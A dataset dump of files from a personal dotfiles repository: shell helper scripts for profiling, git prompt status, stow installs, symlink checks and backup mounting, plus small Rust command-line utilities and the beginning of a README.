"alpha_fraction": 0.6739130616188049, "alphanum_fraction": 0.695652186870575, "avg_line_length": 22, "blob_id": "09075664294a3e01cb67598811e9afbb618d31f2", "content_id": "2d0124d663431b598e388669ca9f05fed088e1ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 46, "license_type": "no_license", "max_line_length": 33, "num_lines": 2, "path": "/bin/pyprofile2", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\nPYTHON_BIN=python2 pyprofile \"$@\"\n" }, { "alpha_fraction": 0.5103773474693298, "alphanum_fraction": 0.5165094137191772, "avg_line_length": 25.8354434967041, "blob_id": "123b338fb6d8b03365970798b8a9a096a7a4c3db", "content_id": "670408a5a33a53272598f21a71a20375ba0ed45c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 2120, "license_type": "no_license", "max_line_length": 100, "num_lines": 79, "path": "/rust-bin/strip-stuff-before-cr/src/main.rs", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "use std::ffi::OsStr;\nuse std::path::Path;\n\nfn main() {\n if let Err(()) = main_() {\n std::process::exit(1);\n }\n}\n\nfn main_() -> Result<(), ()> {\n let mut args = std::env::args_os();\n let _ = args.next();\n if args.len() == 0 {\n usage();\n return Err(());\n }\n\n for path in args {\n // safety mechanism because we only provide an in-place mode;\n // we don't want to destroy a binary file!\n if !file_is_text(&path) {\n let path: &Path = path.as_ref();\n eprintln!(\"skipping file not detected as text: {}\", path.display());\n continue;\n }\n\n let input = std::fs::read(&path).unwrap();\n\n let output = strip_stuff_before_crs(&input);\n\n std::fs::write(&path, output).unwrap();\n }\n\n Ok(())\n}\n\nfn strip_stuff_before_crs(mut input: &[u8]) -> Vec<u8> {\n let mut output = vec![];\n let mut push_text_without_crs = |line: &[u8]| {\n let start = line.iter().rposition(|&c| c == b'\\r').map_or(0, |cr| cr + 1);\n output.extend(line[start..].iter().copied());\n };\n\n while let Some(newline) = input.iter().position(|&c| c == b'\\n') {\n let (line, remainder) = input.split_at(newline + 1);\n push_text_without_crs(line);\n input = remainder;\n }\n push_text_without_crs(input);\n\n output\n}\n\nfn file_is_text(path: impl AsRef<OsStr>) -> bool {\n use std::process::{Command, Stdio};\n let output = {\n Command::new(\"file\")\n .arg(\"-b\").arg(\"--mime-type\")\n .arg(path)\n .stdout(Stdio::piped())\n .output().unwrap().stdout\n };\n trim_bstr(&output) == b\"text/plain\"\n}\n\nfn trim_bstr(bytes: &[u8]) -> &[u8] {\n match bytes.iter().position(|&b| !b.is_ascii_whitespace()) {\n None => b\"\",\n Some(start) => {\n let end = 1 + bytes.iter().rposition(|b| !b.is_ascii_whitespace()).unwrap();\n &bytes[start..end]\n },\n }\n}\n\nfn usage() {\n eprintln!(\"USAGE: no-cr FILE [FILE...]\");\n eprintln!(\"Removes lines ending in CR (0x0d, ^M) from a log file, to resemble console output.\");\n}\n" }, { "alpha_fraction": 0.6370851397514343, "alphanum_fraction": 0.6500721573829651, "avg_line_length": 23.3157901763916, "blob_id": "1feb48a610d5b9d94dc76d0ac71c3419949eebe2", "content_id": "f0e2f110974e2478528b5670897ca77b79e64868", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1386, "license_type": "no_license", "max_line_length": 72, "num_lines": 57, "path": "/bin/pyprofile", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# vim: ft=sh\n\n# pyprofile: run cProfile with reversed output so that you can see the\n# important stuff without having to scroll all the way up.\n# All args are forwarded to \n\n# 90% of this file is just trying to determine whether or not cProfile\n# will actually run (so that help and usage don't get reversed)\n\n# Update March 5 2017: Fixed a bug with exit codes in a pipe.\n\n: ${PYTHON_BIN:=python}\n\ndie() { echo >&2 \"$@\"; exit 1; }\n\n# We want only want to reverse successful output from cProfile,\n# not --help and usage\nrun_forward() {\n\t\"$PYTHON_BIN\" -m cProfile \"$@\"\n\texit $?\n}\nrun_reversed() {\n\t\"$PYTHON_BIN\" -m cProfile \"$@\" | tac\n\texit ${PIPESTATUS[0]}\n}\n\nSAVED_ARGS=(\"$@\")\n\nTEMP=`getopt -o :ho:s:n: --long help,outfile:,sort: -- \"$@\"`\n# option error\nif [[ $? -ne 0 ]]; then\n\trun_forward \"$@\"\nfi\neval set -- \"$TEMP\"\n\nwhile true ; do\n\tcase \"$1\" in\n\t\t# help should run with regular output\n\t\t-h|--help) run_forward \"${SAVED_ARGS[@]}\"; die UNREACHABLE-1 ;;\n\n\t\t# nothing for us to do here; these just get forwarded\n\t\t-o|--output) shift 2 ;;\n\t\t-s|--sort) shift 2 ;;\n\n\t\t--) shift ; break ;;\n\t\t*) die \"Internal error on option $1!\" ;;\n\tesac\ndone\n\n# No positional arguments results in usage, which should not be reversed\nif [[ $# -eq 0 ]]; then\n\trun_forward \"${SAVED_ARGS[@]}\"\n# cProfile should be able to run. Reverse the output\nelse\n\trun_reversed \"${SAVED_ARGS[@]}\"\nfi\ndie UNREACHABLE-2\n" }, { "alpha_fraction": 0.6911196708679199, "alphanum_fraction": 0.6949806809425354, "avg_line_length": 24.899999618530273, "blob_id": "06bb45c5f346d8e56996b8ecc1bd78e203c32e4b", "content_id": "4c0d0e239e8517224fc9926b8c601832fdccab8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 259, "license_type": "no_license", "max_line_length": 53, "num_lines": 10, "path": "/bin/ghcprof", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nGHCWRAP_PROG=$(basename $0)\nGHCWRAP_USAGE=\"Compile and profile a haskell module.\"\nGHCWRAP_GHC_ARGS=(ghc -o a.out -prof -fprof-auto)\nGHCWRAP_RUN_ARGS=(./a.out +RTS -p -RTS)\nGHCWRAP_POST_ARGS=(less a.out.prof)\nGHCWRAP_INPUT_ARGS=(\"$@\")\n\n. _ghcwrap\n" }, { "alpha_fraction": 0.6231883764266968, "alphanum_fraction": 0.6297760009765625, "avg_line_length": 26.10714340209961, "blob_id": "653e358cece686f0cd377b5ef68a283a03474bbc", "content_id": "7288b99840f5f12c3451b24872d82cab5103c023", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 761, "license_type": "no_license", "max_line_length": 87, "num_lines": 28, "path": "/shell/bashrc.prompt.d/git", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n. $HOME/dotfiles/shell/colors.ps1.include\n. $HOME/dotfiles/shell/gittool.ps1.include # compute git status into GITTOOL variables\nif [[ $EXPHP_GITTOOL_BRANCH ]]; then\n echo -n \"$none(\"\n\n if [[ $EXPHP_GITTOOL_IS_BARE ]]; then\n echo -n \"${cyan}bare\"\n elif [[ $EXPHP_GITTOOL_IS_DIRTY ]]; then\n echo -n \"${yellow}$EXPHP_GITTOOL_BRANCH\"\n else\n echo -n \"${green}$EXPHP_GITTOOL_BRANCH\"\n fi\n\n echo -n \"$none\"\n if [[ $EXPHP_GITTOOL_UNTRACKED -gt 0 ]]; then\n echo -n \" •$EXPHP_GITTOOL_UNTRACKED\"\n fi\n\n if [[ $EXPHP_GITTOOL_DELETIONS -gt 0 ]]; then\n echo -n \" ${red}-$EXPHP_GITTOOL_DELETIONS\"\n fi\n if [[ $EXPHP_GITTOOL_ADDITIONS -gt 0 ]]; then\n echo -n \" ${green}+$EXPHP_GITTOOL_ADDITIONS\"\n fi\n echo -n \"$none) \"\nfi\n" }, { "alpha_fraction": 0.6197916865348816, "alphanum_fraction": 0.6325231194496155, "avg_line_length": 27.327869415283203, "blob_id": "af91e851099e21c5d1591f4006e3d3953f5ec78e", "content_id": "5cef72eb1125b2226fb57e90ea745ac4896441de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1728, "license_type": "no_license", "max_line_length": 96, "num_lines": 61, "path": "/stow/load", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# should be using getopt, boo hoo\nOPT_DELETE=\nif [ \"$1\" == \"--delete\" ]; then\n\tOPT_DELETE=-D\n\tshift\nfi\n\nif [ x\"$1\" == x ]; then\n\techo >&2 \"Usage: ./load [--delete] THING-TO-INSTALL\"\n\techo >&2 \"Installable things are most directories in this directory.\"\n\texit 1\nfi\n\nif ! [ -d \"$1\" ]; then\n\techo >&2 \"That can't be installed.\"\n\texit 1\nfi\n\nif [ \"$1\" == metadata ]; then\n\techo >&2 \"'metadata' is special. That can't be installed.\"\n\texit 1\nfi\n\n#---------------------------------------------------\n# Add XDG variables so we can use them where appropriate in metadata paths.\n#\n# fearfully (and probably buggily) hand-coded from the XDG spec.\n\n# FIXME this script WAS sh-compatible till I added this shit\n\n# (Bash's := operator can't help us write DRY code here because we need to export the variable.)\n# (note spec defines defaults in the case of \"not set or empty\" which corresponds to \":-\")\nfunction export-default-expr() { echo \"export $1=\\${$1:-$2}\"; }\neval \"$(export-default-expr XDG_DATA_HOME '$HOME/.local/share')\"\neval \"$(export-default-expr XDG_CACHE_HOME '$HOME/.cache')\"\neval \"$(export-default-expr XDG_DATA_DIRS '/usr/local/share/:/usr/share/')\"\neval \"$(export-default-expr XDG_CONFIG_HOME '$HOME/.config')\"\neval \"$(export-default-expr XDG_CONFIG_DIRS '/etc/xdg')\"\n#---------------------------------------------------\n\nname=${1%/}\ntarget=$(head -n1 metadata/$name | envsubst)\n\ntput setaf 11\ntail -n+2 metadata/$name\nif [ \"$OPT_DELETE\" == \"\" ]; then\n\ttput bold\n\ttput setaf 2\n\techo \"Using gnu stow to install to '$target'\"\nelse\n\ttput bold\n\ttput setaf 1\n\techo \"Using gnu stow to uninstall from '$target'\"\nfi\n\ntput sgr0\n\nread -p \"Are you sure? (Last chance to Ctrl-C) \" -r\nstow $OPT_DELETE \"-t$target\" $name\n" }, { "alpha_fraction": 0.5140572786331177, "alphanum_fraction": 0.5272117853164673, "avg_line_length": 24.006452560424805, "blob_id": "1f05cd4042d0855d9bc8a7654615bc64311252e0", "content_id": "36e66b42b52cbc7f3e27377134f27388548a8a39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3877, "license_type": "no_license", "max_line_length": 81, "num_lines": 155, "path": "/do-misc-setup", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n#----------------------------------\n# Metadata (embedded for great justice)\n\nfiles=(\n\tgdbinit .gdbinit\n\tghci .ghci\n\tinputrc .inputrc\n\tsbclrc .sbclrc\n\tstylish-haskell.yaml .stylish-haskell.yaml\n)\n\n#----------------------------------\n\nOPT_FIXIT=\n\nusage() {\n echo \"Check/fix status of miscellaneous dotfiles\"\n echo \"usage: $(basename $0) (-h | --help)\"\n echo \" $(basename $0) [OPTIONS]...\"\n}\n\nTEMP=`getopt -o hf --long help,fix -- \"$@\"`\nif [ $? != 0 ] ; then echo \"Terminating...\" >&2 ; exit 1 ; fi\neval set -- \"$TEMP\"\nwhile true ; do\n case \"$1\" in\n -h|--help)\n usage\n echo \"\"\n echo \"Options\"\n echo \" -h,--help You did it!\"\n echo \" -f,--fix Automatically fix simple problems.\"\n echo \" This option is generally conservative, so that\"\n echo \" problems with any uncertainty at all still require\"\n echo \" manual intervention.\"\n exit 0;;\n -f|--fix) OPT_FIXIT=1; shift;;\n --) shift; break;;\n *) echo \"We dun goofed!\"; exit 1;;\n esac\ndone\n\n[[ $# -ne 0 ]] && {\n\tusage >&2\n\techo >&2 \"error: this utility takes no positional arguments\"\n\texit 1\n}\n\n#----------------------------------\n# Init/depsearch\n\nGREP=\nfor s in rg grep; do\n\twhich $s >/dev/null 2>/dev/null && {\n\t\tGREP=$s\n\t\tbreak\n\t}\ndone\n[[ ! $GREP ]] && {\n\techo >&2 \"FATAL: Please install grep.\"\n\texit 1\n}\n\n#----------------------------------\n# Constants/helpers\n\nBOLD=\"$(tput bold)\"\nRED=\"$(tput setaf 1)\"\nGREEN=\"$(tput setaf 2)\"\nYELLOW=\"$(tput setaf 3)\"\nBLUE=\"$(tput setaf 4)\"\nMAGENTA=\"$(tput setaf 5)\"\nCYAN=\"$(tput setaf 6)\"\nSGR0=\"$(tput sgr0)\"\n\nwrapcolor() {\n\tprintf \"%s\" \"$1\" # color\n\tprintf \"%s\" \"$2\" # message\n\tprintf \"%s\" \"$SGR0\" # uncolor\n}\n\nshowstatus() {\n\tcolor=$1; shift\n\tstatus=$1; shift\n\tfile=$1; shift\n\tmessage=$1; shift\n\n\twrapcolor \"${BOLD}\" \"[\"\n\twrapcolor \"${BOLD}$color\" \"$(printf \"%s\" \"$status\")\"\n\twrapcolor \"${BOLD}\" \"]\"\n\twrapcolor \"${BOLD}\" \" ${file}:\"\n\techo \" $message\"\n}\n\ns_good() { showstatus $GREEN \" ok \" \"$1\" \"$2\"; }\ns_bad() { showstatus $RED \" bad \" \"$1\" \"$2\"; }\ns_fixed() { showstatus $CYAN \" fixed \" \"$1\" \"$2\"; }\ns_error() { showstatus $RED \" error \" \"$1\" \"$2\"; }\ns_wtf() { showstatus $RED \" ??? \" \"$1\" \"$2\"; }\ns_fixable() { showstatus $YELLOW \"fixable\" \"$1\" \"$2\"; }\n\n#----------------------------------\n# script\n\nactions=()\nwhile [[ $files ]]; do\n\tname=\"${files[0]}\"\n\ttarget_searchstring=\"dotfiles/${files[0]}\"\n\ttarget=\"$HOME/dotfiles/${files[0]}\"\n\tlink=\"$HOME/${files[1]}\"\n\tfiles=(\"${files[@]:2}\") # iterate\n\n\t# broken link\n\tif [[ ! -e $link && -L $link ]]; then\n\t\told=$(readlink \"$link\")\n\t\tif [[ $OPT_FIXIT ]]; then\n\t\t\tln -sf \"$target\" \"$link\"\n\t\t\tif [[ $? -eq 0 && -e $link ]]; then\n\t\t\t\ts_fixed \"$name\" \"(-f) Replaced broken link at $link (was: $old)\"\n\t\t\telse\n\t\t\t\ts_error \"$name\" \"Failed to replace broken link at $link (pointing to: $old)\"\n\t\t\tfi\n\t\telse\n\t\t\ts_fixable \"$name\" \"Use -f to fix the broken link at $link (pointing to: $old)\"\n\t\tfi\n\t# missing link\n\telif [[ ! -e $link && ! -L $link ]]; then\n\t\tif [[ $OPT_FIXIT ]]; then\n\t\t\tln -s \"$target\" \"$link\"\n\t\t\tif [[ $? -eq 0 && -e $link ]]; then\n\t\t\t\ts_fixed \"$name\" \"(-f) Link created at $link\"\n\t\t\telse\n\t\t\t\ts_error \"$name\" \"Failed to create link at $link\"\n\t\t\tfi\n\t\telse\n\t\t\ts_fixable \"$name\" \"Use -f to fix the missing link at $link\"\n\t\tfi\n\telif [[ -L $link ]]; then\n\t\tif [[ \"$(realpath \"$link\")\" == \"$(realpath \"$target\")\" ]]; then\n\t\t\ts_good \"$name\" \"Link exists.\"\n\t\telse\n\t\t\ts_bad \"$name\" \"$link points to an unexpected location.\"\n\t\tfi\n\telif [[ -f $link ]]; then\n\t\tif grep \"$target_searchstring\" \"$link\" >/dev/null 2>/dev/null; then\n\t\t\ts_good \"$name\" \"File mentions dotfile.\"\n\t\telse\n\t\t\ts_bad \"$name\" \"$link exists but does not mention the dotfile.\"\n\t\tfi\n\telse\n\t\ts_wtf \"$name\" \"$link is wierd. Weird? Weird.\"\n\tfi\ndone\n\n" }, { "alpha_fraction": 0.7077769041061401, "alphanum_fraction": 0.7148467898368835, "avg_line_length": 32.5, "blob_id": "b67cd212414a25442076c93542275f117b080c43", "content_id": "0fdebbfb6172819d1e29312808227ff81c25ae32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1273, "license_type": "no_license", "max_line_length": 107, "num_lines": 38, "path": "/shell/machine/cci.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# the above shebang is only for syntax highlighting; you're supposed to source this, not execute it\n\n# function to wrap whole script body so we can use locals\n_exphp__main_init() {\n\n\nlocal node_type\ncase $(hostname) in\n blp*) node_type=landing-pad;; # machine for connecting to clusters\n ???fen*) node_type=cluster;; # machine where jobs are submitted\n dcs[:digit:]*) node_type=node;; # machine that runs a job\n *) echo >&2 \"Unable to classify node type of '$(hostname)'. Update cci.include in dotfiles.\";;\nesac\n\n# Enables access to github, gitlab, pypi, many other whitelisted servers\nexport http_proxy=http://proxy:8888\nexport https_proxy=$http_proxy\n\nif [[ $node_type == cluster ]]; then\n module use $HOME/public/cm/modulefiles\n\n local arch=$(uname -m)\n local pkg_dir=$HOME/public/pkg/$arch # directory for installing package managers (unfit for modulefiles)\n # export RUSTUP_HOME=$HOME/data/.rustup\n # export CARGO_HOME=$HOME/data/.cargo\n # export PATH=$CARGO_HOME/bin:$PATH\n\n # Load the right conda install for this architecture\n local conda_sh=$HOME/public/pkg/$arch/conda/4.10.3/etc/profile.d/conda.sh\n [[ -e $conda_sh ]] && source $conda_sh\nfi\n\nexport PATH=/home/lampam/bin:$PATH\n\n}\n_exphp__main_init\nunset -f _exphp__main_init\n" }, { "alpha_fraction": 0.5837563276290894, "alphanum_fraction": 0.6395938992500305, "avg_line_length": 15.416666984558105, "blob_id": "cb2d578f66d2177c8254d69205896324cbf099df", "content_id": "3009bf5c5636e61809853888bd14ece0896a1bc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 197, "license_type": "no_license", "max_line_length": 30, "num_lines": 12, "path": "/rust-bin/canonicalize-pathvar/Cargo.toml", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "[package]\nname = \"canonicalize-pathvar\"\nversion = \"0.1.0\"\nauthors = [\"Michael Lamparski <[email protected]>\"]\nedition = \"2018\"\n\n[[bin]]\nname = \"canonicalize-pathvar\"\npath = \"main.rs\"\n\n[dependencies]\ngetopts = \"0.2.19\"\n" }, { "alpha_fraction": 0.6160289645195007, "alphanum_fraction": 0.6238340139389038, "avg_line_length": 33.32679748535156, "blob_id": "3718be36cb182e8aed6f9cd62b9e9d84ce3c5e21", "content_id": "268c0360b6f90a067b05a97c6c44813a48b61b8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5253, "license_type": "no_license", "max_line_length": 110, "num_lines": 153, "path": "/shell/gittool.ps1.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# gittool.ps1.include\n# Intended to be run by PS1.\n# Sets a bunch of env vars describing git state output.\n\n#------------------------\n\n# This file should be sourced.\n\n# I know of no reliable way to detect that on Bash 4.1, other than\n# having the 'return' command fail.\n\n# Therefore, every toplevel \"return\" should be written as an 'eval' of one of these.\n# If you typo the variable name, then God help you.\n# (SHELL!! The place where every attempt to refactor code makes it ten times worse!)\n__EXPHP_GITTOOL_FAIL='return 1 2>/dev/null || { echo >&2 \"This script should be sourced.\"; exit 1; }'\n__EXPHP_GITTOOL_DONE='return 0 2>/dev/null || { echo >&2 \"This script should be sourced.\"; exit 1; }'\n\n#-------------------------\n# Output variables\n\n# \"Stringly booleans.\"\n# These are either an empty string (false) or something else (true).\n# Use the syntax [[ $VAR_NAME ]] to test them.\nEXPHP_GITTOOL_BRANCH= # branch name (or \"HEAD\" when detached). If empty: not in a repo.\nEXPHP_GITTOOL_IS_BARE= # (contents are unspecified beyond truthiness)\nEXPHP_GITTOOL_IS_DIRTY= # (contents are unspecified beyond truthiness)\nEXPHP_GITTOOL_ERROR= # contents is an error message\n\n# Integers\nEXPHP_GITTOOL_UNTRACKED=0\nEXPHP_GITTOOL_ADDITIONS=0\nEXPHP_GITTOOL_DELETIONS=0\n\n#-------------------\n# Given that this script is meant to be sourced in PS1,\n# there's not much we can meaningfully do on error without\n# making a nuisance of ourselves.\n#\n# Therefore, the design is deliberately one of \"silent failure.\"\n# When the script fails, the output variables will be set to innocent\n# values indistinguishable from legitimate output.\n#\n# It will be necessary to check EXPHP_GITTOOL_ERROR to know if the script failed.\n\n__exphp_gittool_set_error() {\n EXPHP_GITTOOL_IS_DIRTY=;\n EXPHP_GITTOOL_UNTRACKED=0;\n EXPHP_GITTOOL_ADDITIONS=0;\n EXPHP_GITTOOL_DELETIONS=0;\n EXPHP_GITTOOL_ERROR=\"$*\";\n}\n\n__exphp_gittool_try() {\n eval \"$@\" 2>/dev/null || {\n __exphp_gittool_set_error \"command failed: $*\"\n return 1\n }\n}\n\n#------------------\n\nwhich git >/dev/null 2>/dev/null || {\n __exphp_gittool_set_error \"can't find 'git'\"\n eval $__EXPHP_GITTOOL_FAIL\n}\n\nEXPHP_GITTOOL_BRANCH=\"$(git rev-parse --abbrev-ref HEAD 2>/dev/null)\"\n\n# Not a repo? We're finished.\n[[ $EXPHP_GITTOOL_BRANCH ]] || eval $__EXPHP_GITTOOL_DONE\n\n# Test bareness.\n__EXPHP_GITTOOL_TEMP=\"$(__exphp_gittool_try git rev-parse --is-bare-repository)\" || eval $__EXPHP_GITTOOL_FAIL\ncase \"$__EXPHP_GITTOOL_TEMP\" in\n true)\n EXPHP_GITTOOL_IS_BARE=1\n eval $__EXPHP_GITTOOL_DONE ;;\n false)\n EXPHP_GITTOOL_IS_BARE=\n ;;\n *)\n __exphp_gittool_set_error 'could not parse `git rev-parse --is-bare-repository`'\n eval $__EXPHP_GITTOOL_FAIL ;;\nesac\n\n# Writing to a tempfile is necessary to run 'git status --porcelain' in a way that\n# lets us check the return code.\n{\n mkdir -p /tmp/ps1-gittool 1>/dev/null 2>/dev/null &&\n __EXPHP_GITTOOL_TMPFILE=$(mktemp -p /tmp/ps1-gittool 2>/dev/null) &&\n [[ $__EXPHP_GITTOOL_TMPFILE ]] && [[ -f $__EXPHP_GITTOOL_TMPFILE ]]\n} || {\n __exphp_gittool_set_error 'Could not make temp files'\n eval $__EXPHP_GITTOOL_FAIL\n}\n\n# despite the intent for the caller to use this like a boolean,\n# we internally use it as an array for economy purposes.\n# It holds the lines of `git status --porcelain`\nEXPHP_GITTOOL_IS_DIRTY=()\n__exphp_gittool_try git status --porcelain >$__EXPHP_GITTOOL_TMPFILE || eval $__EXPHP_GITTOOL_FAIL\nreadarray EXPHP_GITTOOL_IS_DIRTY <$__EXPHP_GITTOOL_TMPFILE || {\n \\rm -f 2>/dev/null $__EXPHP_GITTOOL_TMPFILE\n __exphp_gittool_set_error 'Error reading temp file'\n eval $__EXPHP_GITTOOL_FAIL\n}\n\n\n\\rm -f 2>/dev/null $__EXPHP_GITTOOL_TMPFILE\n\nEXPHP_GITTOOL_UNTRACKED=0\nfor __EXPHP_GITTOOL_TEMP in \"${EXPHP_GITTOOL_IS_DIRTY[@]}\"; do\n case $__EXPHP_GITTOOL_TEMP in\n \"??\"*) ((EXPHP_GITTOOL_UNTRACKED++)) ;;\n *) ;;\n esac\ndone\n\n# decode --shortstat output, which omits counts that are zero.\n[[ $EXPHP_GITTOOL_IS_DIRTY ]] && {\n __EXPHP_GITTOOL_TEMP=($(__exphp_gittool_try git diff --shortstat)) || eval $__EXPHP_GITTOOL_FAIL\n\n while [[ $__EXPHP_GITTOOL_TEMP ]]; do\n case \"${__EXPHP_GITTOOL_TEMP[1]}\" in\n file*)\n # \"4 files changed\"\n # (this is the equivalent of 'shift' for an array)\n __EXPHP_GITTOOL_TEMP=(\"${__EXPHP_GITTOOL_TEMP[@]:3}\")\n ;;\n insertion*)\n # \"4 insertions(+),\"\n EXPHP_GITTOOL_ADDITIONS=\"${__EXPHP_GITTOOL_TEMP[0]}\"\n __EXPHP_GITTOOL_TEMP=(\"${__EXPHP_GITTOOL_TEMP[@]:2}\")\n ;;\n deletion*)\n # \"4 deletions(-)\"\n EXPHP_GITTOOL_DELETIONS=\"${__EXPHP_GITTOOL_TEMP[0]}\"\n __EXPHP_GITTOOL_TEMP=(\"${__EXPHP_GITTOOL_TEMP[@]:2}\")\n ;;\n *)\n __exphp_gittool_set_error 'Could not parse `git diff --shortstat`'\n eval $__EXPHP_GITTOOL_FAIL\n ;;\n esac\n done\n}\n\n# Now, if you don't mind, I'm going to go find a pillow and\n# scream into it for several minutes, and hope that I shall\n# never have to touch this file again.\neval $__EXPHP_GITTOOL_DONE\n\n" }, { "alpha_fraction": 0.5905511975288391, "alphanum_fraction": 0.6062992215156555, "avg_line_length": 24.399999618530273, "blob_id": "6072ac8df8f6683af80f074a18c9da44bd3a729e", "content_id": "a84751877213c681b1d9f1b284398b63b7d311af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 127, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/bin/recent", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\nLSARG=\"--sort=time --reverse -la\"\nTAILARG=\"-n 10\"\necho $LSARG \"$@\" \\| tail $TAILARG\nls $LSARG \"$@\" | tail $TAILARG\n" }, { "alpha_fraction": 0.6234003901481628, "alphanum_fraction": 0.6343693137168884, "avg_line_length": 18.5, "blob_id": "c79d83b906af37f77d6bd2a968efc1145e8d4cd6", "content_id": "c1826d10fea32613772634f0d5a1163e08913acd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 547, "license_type": "no_license", "max_line_length": 60, "num_lines": 28, "path": "/stow/back-me-up/opt/back-me-up/mount-backup-drive", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nif [ \"$EUID\" -ne 0 ]\n then echo \"Please run as root\"\n exit\nfi\n\n# config is in same directory as script ('/opt'-style)\nDIR=\"$(dirname \"$(readlink -f \"$0\")\")\"\n. \"$DIR/backup-vars\" || exit 1\n\nBYUUID=/dev/disk/by-uuid/$DISK_UUID\n\nif [ ! -e \"$BYUUID\" ]\nthen\n\techo $BYUUID: No such file\n\techo Is the drive connected?\n\texit 1\nfi\n\nif ! mount | grep -q \"$MOUNT\" ;\nthen\n\techo NOTE: Mounting drive\n\t# just in case it's already mounted by the user to /media/*\n\tumount -f \"$BYUUID\" > /dev/null 2>&1\n\tmkdir \"$MOUNT\"\n\tmount \"$BYUUID\" \"$MOUNT\"\nfi\n\n" }, { "alpha_fraction": 0.6022900938987732, "alphanum_fraction": 0.6034350991249084, "avg_line_length": 31.345678329467773, "blob_id": "ca116f5bfd0b43629db16cd341639d36bd627b9c", "content_id": "7772f3d8889d76ae353d44572e7e2ad68e8f3004", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 2620, "license_type": "no_license", "max_line_length": 333, "num_lines": 81, "path": "/rust-bin/canonicalize-pathvar/main.rs", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "use std::env;\nuse std::path::Path;\n\nfn print_usage(program: &str, opts: getopts::Options) {\n let brief = format!(\"Usage: {} VALUE [options]\", program);\n print!(\"{}\", opts.usage(&brief));\n}\n\nstruct Options {\n keep_dupes: bool,\n remove_empty: bool,\n sort: bool,\n}\n\nfn main() {\n let args: Vec<String> = env::args().collect();\n let program = args[0].clone();\n\n let mut opts = getopts::Options::new();\n opts.optopt(\"o\", \"\", \"set output file name\", \"NAME\");\n opts.optflag(\"h\", \"help\", \"print this help menu\");\n opts.optflag(\"\", \"keep-dupes\", \"keep duplicate entries. By default, only the first appearance of each entry is kept, as the others should have no effect.\");\n opts.optflag(\"\", \"remove-empty\", \"remove empty entries. Empty entries are easy to create by accident when naively using PATH=/some/path:$PATH, and are often intepreted as referring to the current directory (a notable exception being MANPATH). By default they are preserved, as removing them changes the meaning of the env var.\");\n opts.optflag(\"\", \"sort\", \"lexically sort the entries. CAUTION: This can significantly change the meaning of the env var, as it will change search order.\");\n let matches = match opts.parse(&args[1..]) {\n Ok(m) => m,\n Err(e) => panic!(\"{}\", e),\n };\n if matches.opt_present(\"h\") {\n print_usage(&program, opts);\n return;\n }\n let options = Options {\n keep_dupes: matches.opt_present(\"keep-dupes\"),\n remove_empty: matches.opt_present(\"remove-empty\"),\n sort: matches.opt_present(\"sort\"),\n };\n\n if matches.free.len() != 1 {\n print_usage(&program, opts);\n return;\n }\n let value = matches.free.into_iter().next().unwrap();\n\n println!(\"{}\", canonicalize_pathvar(options, &value));\n}\n\nfn canonicalize_pathvar(options: Options, value: &str) -> String {\n let Options { keep_dupes, remove_empty, sort } = options;\n\n let mut paths: Vec<_> = std::env::split_paths(value).collect();\n\n if !keep_dupes {\n paths = filter_dupes(&paths);\n }\n\n if remove_empty {\n paths = paths.into_iter().filter(|s| s != Path::new(\"\")).collect();\n }\n\n if sort {\n paths.sort();\n }\n\n std::env::join_paths(paths)\n .expect(\"(BUG) invalid character inserted?\")\n .to_string_lossy().into()\n}\n\nfn filter_dupes<T: Clone + Eq + std::hash::Hash>(elems: &[T]) -> Vec<T> {\n use std::collections::HashSet;\n\n let mut set = HashSet::new();\n let mut out = vec![];\n for elem in elems {\n if set.insert(elem) {\n out.push(elem.clone());\n }\n }\n out\n}\n" }, { "alpha_fraction": 0.712472677230835, "alphanum_fraction": 0.7155361175537109, "avg_line_length": 27.549999237060547, "blob_id": "b27ad23cea60d21a5c850e9771f95e6226ff5d05", "content_id": "0eaebed21e9ac7ab6ab37f048d3349e5ed89606c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2285, "license_type": "no_license", "max_line_length": 154, "num_lines": 80, "path": "/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# ExpHP's dotfiles\n\n## Setup\n\n### Shell\n\nAdd this to `~/.bashrc`:\n\n```sh\n#-----------------------------------------------------\n# Make absolutely certain that history is preserved even if we mess up bashrc.\nexport HISTFILESIZE=\n\n# Stuff specific to this machine\nsource /home/lampam/dotfiles/shell/machine/matisse.include\n\n# Stuff specifically 